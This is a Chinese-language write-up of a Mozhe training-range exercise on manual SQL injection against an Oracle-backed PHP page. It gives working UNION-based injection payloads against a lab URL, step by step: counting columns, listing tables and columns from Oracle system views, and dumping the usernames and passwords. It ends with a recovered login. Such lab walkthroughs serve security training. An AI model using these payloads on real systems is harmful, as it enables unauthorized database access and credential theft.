1. 程式人生 > 實用技巧 >墨者_SQL手工注入漏洞測試(Oracle資料庫)

墨者_SQL手工注入漏洞測試(Oracle資料庫)

靶場:

https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe

背景介紹

安全工程師"墨者"最近在練習SQL手工注入漏洞,自己剛搭建好一個靶場環境Apache+PHP+Oracle,PHP程式碼對客戶端提交的引數未做任何過濾。盡情的練習SQL手工注入吧。

實訓目標

1.掌握SQL注入原理;
2.瞭解手工注入的方法;
3.瞭解Oracle的資料結構;
4.瞭解字串的MD5加解密;

解題方向

手工進行SQL注入測試,獲取管理密碼登入。

解題思路:

1、找到注入點/new_list.php?id=1

2、判斷欄位數,此處是2

http://219.153.49.228:48612/new_list.php?id=1 order by 2 //頁面正常

http://219.153.49.228:48612/new_list.php?id=1 order by 3 //頁面為空

3、判斷回顯

?id=-1 union select '1','2' from dual

4、我們需要的是使用者的賬號密碼,因此直接查詢存在users字樣的表名

?id=-1 union select (select table_name from all_tables where rownum=1 and table_name like '%user%'),'null' from dual

5、獲取表中列名

?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'null' from dual

?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'null' from dual

6、獲取資料

?id=-1 union select user_name,user_pwd from "sns_users"

?id=-1 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'

得到兩組使用者名稱和密碼,第一組不行,第二組登入,得到key

mozhe/926173